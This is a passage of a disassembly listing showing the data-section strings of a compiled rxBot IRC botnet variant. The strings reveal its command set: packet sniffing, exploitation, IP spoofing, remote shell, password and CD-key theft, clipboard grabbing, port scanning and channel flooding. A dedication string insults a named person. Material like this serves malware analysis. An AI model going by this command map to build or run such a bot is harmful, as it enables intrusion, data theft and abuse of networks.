unk_42B184	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B1AC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1D8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B214	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 10h
dword_42B250	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 10h
dword_42B280	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C7Co
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 10h
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C64o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C84o
		unicode	0, <n>,0
unk_42B380	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3E0	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3F8	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B410	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B458	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B480	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B484	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B490	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B498	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 10h
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 10h
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 10h
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B508	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B51C	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B520	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B530	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B534	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B538	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 10h
unk_42B5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 10h
unk_42B5E0	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B618	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42B644	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 4
unk_42B684	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B6C0	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6EC	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B718	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B728	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7D8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42B814	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B848	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B888	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42B8B4	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42B8F0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B918	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B928	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B934	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B944	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B988	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9D8	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42BA04	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA58	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA78	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA7C	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA94	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BACC	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAE4	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BB00	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BB1C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB38	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BB74	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB98	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BBB8	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBD8	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBF0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 10h
unk_42BC10	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC38	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42BC64	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC80	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42BCC4	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCE8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42BD14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_42BD40	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42BD64	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BDA0	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDDC	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE18	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE54	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42BEC4	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42BEE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BF1C	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF58	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFD8	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C018	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C054	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 10h
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 10h
aScanall	db 'scanall',0          ; DATA XREF: sub_401ACD+1BE7o
dword_42C0C8	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C170	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C1A4	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1D8	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1EC	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1F0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1FC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437C38o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
